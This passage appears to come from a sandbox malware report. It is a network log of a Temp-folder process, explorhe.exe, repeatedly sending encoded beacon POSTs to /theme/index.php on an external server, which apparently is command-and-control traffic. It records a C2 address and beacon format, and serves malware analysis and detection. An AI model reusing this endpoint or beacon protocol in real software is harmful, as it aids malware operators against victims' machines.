Jan 18, 2024 00:37:01.126949072 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
177	192.168.2.6	50414	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:01.376472950 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:01.612608910 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
178	192.168.2.6	50415	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:01.978759050 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:02.218051910 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
179	192.168.2.6	50416	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:02.466310978 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:02.704636097 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
180	192.168.2.6	50417	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:03.062808990 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:03.295789003 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
181	192.168.2.6	50418	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:03.542170048 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:03.781606913 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
182	192.168.2.6	50419	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:04.146051884 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:04.802798033 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:05.041309118 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
183	192.168.2.6	50420	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:05.291018963 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:05.527781963 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
184	192.168.2.6	50421	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:05.875422955 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:06.108932972 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
185	192.168.2.6	50422	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:06.361113071 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:06.597543955 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
186	192.168.2.6	50423	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:06.967075109 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:07.199877024 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
187	192.168.2.6	50424	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:07.448324919 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:07.692481041 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
188	192.168.2.6	50425	185.215.113.68	80

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:08.052853107 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:08.287046909 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
189	192.168.2.6	50426	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:08.543046951 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:08.781254053 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
190	192.168.2.6	50427	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:09.134860039 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:09.367894888 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
191	192.168.2.6	50429	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:09.617547035 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:09.855300903 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
192	192.168.2.6	50430	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:10.219315052 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:10.455461025 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
193	192.168.2.6	50431	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:10.703001022 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:10.941145897 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
194	192.168.2.6	50432	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:11.329278946 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:11.568470001 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
195	192.168.2.6	50433	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:11.819859028 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:12.060162067 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
196	192.168.2.6	50434	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:12.429884911 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:12.670619965 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
197	192.168.2.6	50435	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:12.944511890 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:13.183346033 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
198	192.168.2.6	50436	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:13.542790890 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:13.780911922 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
199	192.168.2.6	50437	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:14.052768946 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
